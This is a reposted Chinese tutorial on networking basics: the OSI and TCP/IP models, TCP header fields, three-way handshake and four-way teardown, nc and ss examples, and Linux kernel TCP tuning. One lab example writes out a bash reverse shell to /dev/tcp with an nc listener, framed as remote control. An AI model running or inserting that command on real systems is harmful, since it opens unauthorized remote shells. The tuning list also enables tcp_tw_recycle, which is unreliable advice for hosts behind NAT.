码迷,mamicode.com
首页 > 其他好文 > 详细

(一)网络基础7层模型三次握手四次挥手

时间:2021-04-16 12:05:11      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:mys   无线局域网   ali   使用   协议   tcp连接   分配   客户端连接   iat   

OSI七层参考模型

技术图片

第7层 应用层

应用层(Application Layer)提供为应用软件而设的接口,以设置与另一应用软件之间的通信。例如:
HTTP、HTTPS、FTP、TELNET、SSH、SMTP、POP3、MySQL等

第6层 表示层

主条目:表示层(Presentation Layer)把数据转换为能与接收者的系统格式兼容并适合传输的格式

第5层 会话层

会话层(Session Layer)负责在数据传输中设置和维护电脑网络中两台电脑之间的通信连接。

第4层 传输层

传输层(Transport Layer)把传输表头(TH)加至数据以形成数据包。传输表头包含了所使用的协议
等发送信息。例如:传输控制协议(TCP)等。

第3层 网络层

网络层(Network Layer)决定数据的路径选择和转寄,将网络表头(NH)加至数据包,以形成报文。
网络表头包含了网络数据。例如:互联网协议(IP)等。

第2层 数据链接层

数据链路层(Data Link Layer)负责网络寻址、错误侦测和改错。当表头和表尾被加至数据包时,会形
成信息框(Data Frame)。数据链表头(DLH)是包含了物理地址和错误侦测及改错的方法。数据链
表尾(DLT)是一串指示数据包末端的字符串。例如以太网、无线局域网(Wi-Fi)和通用分组无线服务
(GPRS)等。分为两个子层:逻辑链路控制(logical link control,LLC)子层和介质访问控制
(Media access control,MAC)子层

第1层 物理层

物理层(Physical Layer)在局部局域网上传送数据帧(Data Frame),它负责管理电脑通信设备和网
络媒体之间的互通。包括了针脚、电压、线缆规范、集线器、中继器、网卡、主机接口卡等

三种通讯模式

unicast: 单播,目标设备是一个

broadcast: 广播,目标设备是所有

multicast: 多播,组播,目标设备是多个

三种通讯机制

单工通信:只有一个方向的通信,比如: 收音机

半双工通信:通信双方都可以发送和接收信息,但不能同时发送,也不能同时接收,比如:对讲机

全双工通信:通信双方可以同时发送和同时接收,比如: 手机

范例:查看双工和速度

[root@localhost ~]# mii-tool eth0
eth0: negotiated 100baseTx-FD, link ok

[root@localhost ~]# mii-tool -v eth0
eth0: negotiated 100baseTx-FD, link ok
product info: vendor 00:07:32, model 17 rev 5
basic mode: autonegotiation enabled
basic status: autonegotiation complete, link ok
capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

[root@centos8 ~]# ethtool -i eth0
driver: vmxnet3
version: 1.4.16.0-k-NAPI
firmware-version:
expansion-rom-version:
bus-info: 0000:03:00.0
supports-statistics: yes
supports-test: no
supports-eeprom-access: no
supports-register-dump: yes
supports-priv-flags: no
[root@centos8 ~]# ethtool eth0

范例: 如何判断网线断开

[root@centos8 ~]# mii-tool eth1
eth1: no link

[root@centos8 ~]# ethtool eth1
Settings for eth1:
Supported ports: [ TP ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
Supported pause frame use: No
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
Advertised pause frame use: No
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Speed: Unknown!

各大厂商MAC识别码:

http://standards-oui.ieee.org/oui/oui.txt

TCP/IP模型

技术图片

TCP/IP和OSI模型的比较

相同点
两者都是以协议栈的概念为基础
协议栈中的协议彼此相互独立
下层对上层提供服务

不同点
OSI是先有模型;TCP/IP是先有协议,后有模型
OSI是国际标准,适用于各种协议栈;TCP/IP实际标准,只适用于TCP/IP网络
层次数量不同

TCP特性

工作在传输层
面向连接协议
全双工协议
半关闭
错误检查
将数据打包成段,排序
确认机制
数据恢复,重传
流量控制,滑动窗口
拥塞控制,慢启动和拥塞避免算法
更多关于tcp的内核参数,可参看man 7 tcp

TCP包头结构

技术图片

源端口、目标端口:计算机上的进程要和其他进程通信是要通过计算机端口的,而一个计算机端口
某个时刻只能被一个进程占用,所以通过指定源端口和目标端口,就可以知道是哪两个进程需要通
信。源端口、目标端口是用16位表示的,可推算计算机的端口个数为2^16个,即65536

序列号:表示本报文段所发送数据的第一个字节的编号。在TCP连接中所传送的字节流的每一个字
节都会按顺序编号。由于序列号由32位表示,所以每2^32个字节,就会出现序列号回绕,再次从0 开始

确认号:表示接收方期望收到发送方下一个报文段的第一个字节数据的编号。也就是告诉发送方:
我希望你(指发送方)下次发送的数据的第一个字节数据的编号为此确认号

数据偏移:表示TCP报文段的首部长度,共4位,由于TCP首部包含一个长度可变的选项部分,需要指定这个TCP报文段到底有多长。它指出 TCP 报文段的数据起始处距离 TCP 报文段的起始处有
多远。该字段的单位是32位(即4个字节为计算单位),4位二进制最大表示15,所以数据偏移也就是TCP首部最大60字节

URG:表示本报文段中发送的数据是否包含紧急数据。后面的紧急指针字段(urgent pointer)只有当URG=1时才有效

ACK:表示是否前面确认号字段是否有效。只有当ACK=1时,前面的确认号字段才有效。TCP规定,连接建立后,ACK必须为1,带ACK标志的TCP报文段称为确认报文段

PSH:提示接收端应用程序应该立即从TCP接收缓冲区中读走数据,为接收后续数据腾出空间。如果为1,则表示对方应当立即把数据提交给上层应用,而不是缓存起来,如果应用程序不将接收到
的数据读走,就会一直停留在TCP接收缓冲区中

RST:如果收到一个RST=1的报文,说明与主机的连接出现了严重错误(如主机崩溃),必须释放连接,然后再重新建立连接。或者说明上次发送给主机的数据有问题,主机拒绝响应,带RST标志的TCP报文段称为复位报文段

SYN:在建立连接时使用,用来同步序号。当SYN=1,ACK=0时,表示这是一个请求建立连接的报

文段;当SYN=1,ACK=1时,表示对方同意建立连接。SYN=1,说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中SYN才置为1,带SYN标志的TCP报文段称为同步报文段

FIN:表示通知对方本端要关闭连接了,标记数据是否发送完毕。如果FIN=1,即告诉对方:“我的数据已经发送完毕,你可以释放连接了”,带FIN标志的TCP报文段称为结束报文段

窗口大小:表示现在允许对方发送的数据量,也就是告诉对方,从本报文段的确认号开始允许对方发送的数据量,达到此值,需要ACK确认后才能再继续传送后面数据,由Window size value *
Window size scalingfactor(此值在三次握手阶段TCP选项Window scale协商得到)得出此值

校验和:提供额外的可靠性

紧急指针:标记紧急数据在数据字段中的位置

选项部分:其最大长度可根据TCP首部长度进行推算。TCP首部长度用4位表示,选项部分最长为:(2^4-1)*4-20=40字节

TCP包头常见选项:

最大报文段长度MSS(Maximum SegmentSize),通常1460字节指明自己期望对方发送TCP报文段时那个数据字段的长度。比如:1460字节。数据字段的长度加
上TCP首部的长度才等于整个TCP报文段的长度。MSS不宜设的太大也不宜设的太小。若选择太小,极端情况下,TCP报文段只含有1字节数据,在IP层传输的数据报的开销至少有40字节(包括
TCP报文段的首部和IP数据报的首部)。这样,网络的利用率就不会超过1/41。若TCP报文段非常长,那么在IP层传输时就有可能要分解成多个短数据报片。在终点要把收到的各个短数据报片装配
成原来的TCP报文段。当传输出错时还要进行重传,这些也都会使开销增大。因此MSS应尽可能大,只要在IP层传输时不需要再分片就行。在连接建立过程中,双方都把自己能够支持的MSS写入
这一字段。 MSS只出现在SYN报文中。即:MSS出现在SYN=1的报文段中MTU和MSS值的关系:MTU=MSS+IP Header+TCP Header
通信双方最终的MSS值=较小MTU-IP Header-TCP Header

窗口扩大 Window Scale
为了扩大窗口,由于TCP首部的窗口大小字段长度是16位,所以其表示的最大数是65535。但是随着时延和带宽比较大的通信产生(如卫星通信),需要更大的窗口来满足性能和吞吐率,所以产生
了这个窗口扩大选项

时间戳 Timestamps
可以用来计算RTT(往返时间),发送方发送TCP报文时,把当前的时间值放入时间戳字段,接收方收到后发送确认报文时,把这个时间戳字段的值复制到确认报文中,当发送方收到确认报文后即可
计算出RTT。也可以用来防止回绕序号PAWS,也可以说可以用来区分相同序列号的不同报文。因为序列号用32为表示,每2^32个序列号就会产生回绕,那么使用时间戳字段就很容易区分相同序列号的不同报文

传输层通过port号,确定应用层协议,范围0-65535

0-1023:系统端口或特权端口(仅管理员可用),众所周知,永久的分配给固定的系统应用使用,22/tcp(ssh), 80/tcp(http),443/tcp(https)

1024-49151:用户端口或注册端口,但要求并不严格,分配给程序注册为某应用使用,1433/tcp(SqlServer),1521/tcp(oracle),3306/tcp(mysql),11211/tcp/udp (memcached)

49152-65535:动态或私有端口,客户端随机使用端口,范围定
义:/proc/sys/net/ipv4/ip_local_port_range

范例:调整客户端的动态端口范围

[root@centos8 ~]# cat /proc/sys/net/ipv4/ip_local_port_range
32768 60999
[root@centos8 ~]# echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@centos8 ~]# cat /proc/sys/net/ipv4/ip_local_port_range
20000 62000

范例:

[root@centos8 ~]# dnf -y install man-pages
[root@centos8 ~]# man 2 socket
[root@centos8 ~]# dnf -y install nc
#服务器端
[root@centos8 ~]# ss -ntlu
Netid State Recv-Q Send-Q Local Address:Port Peer
Address:Port
tcp LISTEN 0 128 0.0.0.0:22
0.0.0.0:*
tcp LISTEN 0 128 [::]:22
[::]:*
[root@centos8 ~]# nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.
[root@centos8 ~]# nc -l 9527
I am centos7
I am centos8

#客户端
[root@centos7 ~]# nc 10.0.0.8 9527
I am centos7
I am centos8
#再开一个连接失败
[root@centos7 ~]# nc 10.0.0.8 9527
Ncat: Connection refused.
[root@centos8 ~]# ss -nt
State Recv-Q Send-Q Local Address:Port Peer
Address:Port
ESTAB 0 0 10.0.0.8:9527
10.0.0.7:40706
#服务器开启UDP的端口
[root@centos8 ~]# nc -l 7000 -u
#客户端连接
[root@centos7 ~]# nc 10.0.0.8 7000 -u
[root@centos8 ~]# ss -ntu
Netid State Recv-Q Send-Q Local Address:Port
Peer Address:Port
udp ESTAB 0 0 10.0.0.8:7000
10.0.0.7:52667
tcp ESTAB 0 0 10.0.0.8:8000
10.0.0.7:53402
tcp ESTAB 0 52 10.0.0.8:22
10.0.0.1:13305
[wang@centos8 ~]$ nc -l 1023
Ncat: bind to :::1023: Permission denied. QUITTING.

范例:找到端口冲突的应用程序

[root@centos8 ~]# nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.
[root@centos8 ~]# ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
users:(("sshd",pid=699,fd=4))
LISTEN 0 128 [::]:22 [::]:*
users:(("sshd",pid=699,fd=6))
[root@centos8 ~]# lsof -i :22
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 699 root 4u IPv4 26846 0t0 TCP *:ssh (LISTEN)
sshd 699 root 6u IPv6 26848 0t0 TCP *:ssh (LISTEN)
sshd 1287 root 5u IPv4 29875 0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)
sshd 1300 root 5u IPv4 29875 0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)

范例:判断端口是否正在打开

[root@centos8 ~]# < /dev/tcp/127.0.0.1/80
[root@centos8 ~]# echo $?
0
[root@centos8 ~]# < /dev/tcp/127.0.0.1/8080
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/8080: Connection refused
[root@centos8 ~]# echo $?
1

范例:利用重定向实现上网

[root@centos8 ~]# exec 8<>/dev/tcp/www.baidu.com/80
[root@centos8 ~]# ll /proc/$$/fd
total 0
lrwx------ 1 root root 64 Apr 20 14:14 0 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 1 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 2 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:17 255 -> /dev/pts/0
lr-x------ 1 root root 64 Apr 20 14:14 3 -> /var/lib/sss/mc/passwd
lrwx------ 1 root root 64 Apr 20 14:14 4 -> ‘socket:[32754]‘
lrwx------ 1 root root 64 Apr 20 14:14 8 -> ‘socket:[32777]‘
[root@centos8 ~]# echo -e ‘GET / HTTP/1.1\n‘ >& 8
[root@centos8 ~]# cat <& 8

范例:反弹 shell 实现远程控制

#在控制机监听打开端口
[root@centos8 ~]# dnf -y install nc
[root@centos8 ~]# nc -lvp 6666
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
#在被控制机上实现反弹shell
[root@centos7 ~]# bash -i &> /dev/tcp/10.0.0.8/6666 0>&1
#在控制机主机可以观察到以下信息,自动登录到被控制主机,且可以执行命令

三次握手

技术图片

第一次握手:建立连接时,客户端发送SYN=1,seq=x(x报文段序号)到服务器。客户端进入SYN-SENT状态,等待服务器响应。

第二次握手:服务器收到SYN=1包,必须确认客户的SYN,即回复ACK=1,SYN=1,同时发送自己报文段seq=y序号,和期待收到的报文段号为ack=x+1,此时服务器进入SYN_RCVD状态。

第三次握手:客户端收到服务器得SYN和ACK状态,则再次发送ACK响应,同时发送自己得报文段序号seq=x+1,期待报文段ack=y+1。客户端和服务器端都进入ESTABLISHED状态,完成三次握手。

四次挥手

技术图片

1.客户端进程发出连接释放报文,并且停止发送数据。释放数据报文首部,FIN=1,其序列号为seq=u,此时,客户端进入FIN_WAIT_1状态。TCP规定,FIN报文段即使不携带数据,也要消耗一个序号。

2.服务器收到连接释放报文,发出确认报文,ACK=1,ack=u+1,并且带上自己的序列号seq=v,此时服务器端就进入了CLOSE_WAIT(等待关闭)状态。TCP服务器通知高层的应用进程,客户端向服务器的方向就释放了,这时候处于半关闭状态,即客户端已经没有数据要发送了,但是服务器端若发送数据,客户端任然要接受。这个状态还要持续一段时间,也就是整个CLOSE_WAIT状态持续的时间。

3.客户端收到服务器端的确认请求后,此时,客户端就进入了FIN_WAIT_2(终止等待2)状态,等待服务器端发送连接释放报文。

4.服务器端将最后的数据发送完毕后,就向客户端发送连接释放报文,FIN=1,ack=u+1,由于在半关闭状态,服务器很可能又发送了一些数据,假定此时的序号为seq=w,此时,服务器就进入了LAST_ACK(最后确认)状态,等待客户端的确认。

5客户端收到服务器端的练级释放报文后,必须发出确认,ACK=1,ack=w+1,而自己的序列号是seq=u+1,此时,客户端就进入了TIME_WAIT(时间等待)状态。此时TCP连接还没有释放,必须经过2**MSL(最长报文段寿命)的时间后,当客户端撤销响应的TCP后,才进入CLOSED状态。

6.服务器端只要接受到客户端发出的确认,立即进入CLOSED状态。同样,撤销TCP后,就结束这次TCP连接。可以看到,服务器端结束TCP连接的时间要比客户端早一些。

范例: 三次握手

#wireshark抓包分析
(ip.src == 10.0.0.101 and ip.dst == 10.0.0.102) || (ip.dst == 10.0.0.101 and
ip.src == 10.0.0.102)
范例: 四次挥手
#wireshark抓包分析
(ip.src == 10.0.0.101 and ip.dst == 10.0.0.102) || (ip.dst == 10.0.0.101 and
ip.src == 10.0.0.102)

TCP 十一个状态:

CLOSED 没有任何连接状态
LISTEN 侦听状态,等待来自远方TCP端口的连接请求
SYN-SENT 在发送连接请求后,等待对方确认
SYN-RECEIVED 在收到和发送一个连接请求后,等待对方确认
ESTABLISHED 代表传输连接建立,双方进入数据传送状态
FIN-WAIT-1 主动关闭,主机已发送关闭连接请求,等待对方确认
FIN-WAIT-2 主动关闭,主机已收到对方关闭传输连接确认,等待对方发送关闭传输连接请求
TIME-WAIT 完成双向传输连接关闭,等待所有分组消失
CLOSE-WAIT 被动关闭,收到对方发来的关闭连接请求,并已确认
LAST-ACK 被动关闭,等待最后一个关闭传输连接确认,并等待所有分组消失
CLOSING 双方同时尝试关闭传输连接,等待对方确认

sync半连接和accept全连接队列

/proc/sys/net/ipv4/tcp_max_syn_backlog #未完成连接队列大小,默认值128,建议调整
大小为1024以上
/proc/sys/net/core/somaxconn #完成连接队列大小,默认值128,建议调整大
小为1024以上

TCP超时重传

异常网络状况下(开始出现超时或丢包),TCP控制数据传输以保证其承诺的可靠服务
TCP服务必须能够重传超时时间内未收到确认的TCP报文段。为此,TCP模块为每个TCP报文段都维护一
个重传定时器,该定时器在TCP报文段第一次被发送时启动。如果超时时间内未收到接收方的应答,
TCP模块将重传TCP报文段并重置定时器。至于下次重传的超时时间如何选择,以及最多执行多少次重
传,就是TCP的重传策略
与TCP超时重传相关的两个内核参数:

/proc/sys/net/ipv4/tcp_retries1 #指定在底层IP接管之前TCP最少执行的重传次数,默认值是
3
/proc/sys/net/ipv4/tcp_retries2 #指定连接放弃前TCP最多可以执行的重传次数,默认值
15(一般对应13~30min)

拥塞控制

网络中的带宽、交换结点中的缓存和处理机等,都是网络的资源。在某段时间,若对网络中某一资源的
需求超过了该资源所能提供的可承受的能力,网络的性能就会变坏。此情况称为拥塞
TCP为提高网络利用率,降低丢包率,并保证网络资源对每条数据流的公平性。即所谓的拥塞控制
TCP拥塞控制的标准文档是RFC 5681,其中详细介绍了拥塞控制的四个部分:慢启动(slow start)、
拥塞避免(congestion avoidance)、快速重传(fast retransmit)和快速恢复(fast recovery)。拥
塞控制算法在Linux下有多种实现,比如reno算法、vegas算法和cubic算法等。它们或者部分或者全部
实现了上述四个部分
当前所使用的拥塞控制算法

/proc/sys/net/ipv4/tcp_congestion_control

内核TCP参数优化

参看帮助: man 7 tcp

编辑文件/etc/sysctl.conf,加入以下内容:然后执行 sysctl -p 让参数生效。

net.ipv4.tcp_fin_timeout = 2
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_keepalive_time = 600
net.ipv4.ip_local_port_range = 2000 65000
net.ipv4.tcp_max_syn_backlog = 16384
net.ipv4.tcp_max_tw_buckets = 36000
net.ipv4.route.gc_timeout = 100
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_max_orphans = 16384
net.core.somaxconn = 16384
net.core.netdev_max_backlog = 16384

作用说明:

net.ipv4.tcp_fin_timeout 表示套接字由本端要求关闭,这个参数决定了它保持在FIN-WAIT-2状态的时间,默认值是60秒。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_fin_timeout 60

net.ipv4.tcp_tw_reuse 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认值为0,表示关闭。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_tw_reuse 0

net.ipv4.tcp_tw_recycle 表示开启TCP连接中TIME-WAIT sockets的快速回收。 该参数对应系统路
径为:/proc/sys/net/ipv4/tcp_tw_recycle,默认为0,表示关闭。 提示:reuse和recycle这两个
参数是为防止生产环境下服务器time_wait网络状态数量过多设置的。

net.ipv4.tcp_syncookies 表示开启SYN Cookies功能。当出现SYN等待队列溢出时,启用Cookies
来处理,可防范少量SYN攻击,这个参数也可以不添加。该参数对应系统路径为:/proc/sys/net/ipv4/tcp_syncookies,默认值为1

net.ipv4.tcp_keepalive_time 表示当keepalive启用时,TCP发送keepalive消息的频度。默认是2
小时,建议改为10分钟。该参数对应系统路径为:/proc/sys/net/ipv4/tcp_keepalive_time,默认为7200秒。
net.ipv4.ip_local_port_range 该选项用来设定允许系统打开的端口范围,即用于向外连接的端口
范围。 该参数对应系统路径为:/proc/sys/net/ipv4/ip_local_port_range 32768 61000

net.ipv4.tcp_max_syn_backlog 表示SYN队列的长度,即半连接队列长度,默认为1024,建议加
大队列的长度为8192或更多,这样可以容纳更多等待连接的网络连接数。 该参数为服务器端用于记录那些尚未收到客户端确认信息的连接请求最大值。 该参数对象系统路径为:/proc/sys/net/ipv4/tcp_max_syn_backlog

net.ipv4.tcp_max_tw_buckets 表示系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数
值,TIME_WAIT套接字将立刻被清除并打印警告信息。 默认为180000,对于Apache、Nginx等服
务器来说可以将其调低一点,如改为5000~30000,不通业务的服务器也可以给大一点,比如
LVS、Squid。 此项参数可以控制TIME_WAIT套接字的最大数量,避免Squid服务器被大量的TIME_WAIT套接字拖死。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_max_tw_buckets

net.ipv4.tcp_synack_retries 参数的值决定了内核放弃连接之前发送SYN+ACK包的数量。 该参数
对应系统路径为:/proc/sys/net/ipv4/tcp_synack_retries,默认值为5

net.ipv4.tcp_syn_retries 表示在内核放弃建立连接之前发送SYN包的数量。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_syn_retries,默认值为6

net.ipv4.tcp_max_orphans 用于设定系统中最多有多少个TCP套接字不被关联到任何一个用户文
件句柄上。 如果超过这个数值,孤立连接将被立即被复位并打印出警告信息。 这个限制只有为了
防止简单的DoS攻击。不能过分依靠这个限制甚至认为减少这个值,更多的情况是增加这个值。
该参数对应系统路径为:/proc/sys/net/ipv4/tcp_max_orphans ,默认值8192

net.core.somaxconn 同时发起的TCP的最大连接数,即全连接队列长度,在高并发请求中,可能会导致链接超时或重传,一般结合并发请求数来调大此值。 该参数对应系统路径
为:/proc/sys/net/core/somaxconn ,默认值是128

net.core.netdev_max_backlog 表示当每个网络接口接收数据包的速率比内核处理这些包的速率
快时,允许发送到队列的数据包最大数。 该参数对应系统路径
为:/proc/sys/net/core/netdev_max_backlog,默认值为1000

UDP特性

工作在传输层
提供不可靠的网络访问
非面向连接协议
有限的错误检查
传输性能高
无数据恢复特性
更多关于udp的内核参数,可参看man 7 udp

(一)网络基础7层模型三次握手四次挥手

标签:mys   无线局域网   ali   使用   协议   tcp连接   分配   客户端连接   iat   

原文地址:https://www.cnblogs.com/xuanlv-0413/p/14664102.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!